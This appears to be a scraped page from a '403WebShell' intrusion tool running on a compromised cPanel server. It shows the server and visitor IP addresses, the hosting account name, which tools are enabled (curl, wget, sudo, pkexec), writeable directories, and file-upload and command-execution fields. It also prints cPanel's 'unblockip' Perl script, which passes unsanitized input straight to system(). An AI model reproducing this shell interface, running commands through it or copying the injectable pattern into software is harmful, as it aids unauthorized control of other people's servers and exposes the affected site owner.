Uname:Linux 81-12-52-146.cprapid.com 4.18.0-553.76.1.lve.el8.x86_64 #1 SMP Wed Oct 1 16:05:07 UTC 2025 x86_64

403WebShell
403Webshell
Server IP : 185.143.234.238  /  Your IP : 185.215.232.195
Web Server : Apache
System : Linux 81-12-52-146.cprapid.com 4.18.0-553.76.1.lve.el8.x86_64 #1 SMP Wed Oct 1 16:05:07 UTC 2025 x86_64
User : noavaranesama ( 1039)
PHP Version : 8.2.29
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /scripts/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /scripts/unblockip
#!/usr/local/cpanel/3rdparty/bin/perl

# cpanel - scripts/unblockip                       Copyright 2022 cPanel, L.L.C.
#                                                           All rights reserved.
# copyright@cpanel.net                                         http://cpanel.net
# This code is subject to the cPanel license. Unauthorized copying is prohibited

print "What ip do you want to unblock? ";
my $ip = <STDIN>;
$ip =~ s/\n//g;

open( HA, "/etc/hosts.deny" );
my @HA = <HA>;
close(HA);
open( HA, ">/etc/hosts.deny" );
foreach my $line (@HA) {
    if ( $line !~ / ${ip}$/ ) {
        print HA $line;
    }
}
close(HA);
system("/sbin/ip -4 route del $ip");

Youez - 2016 - github.com/yon3zu
LinuXploit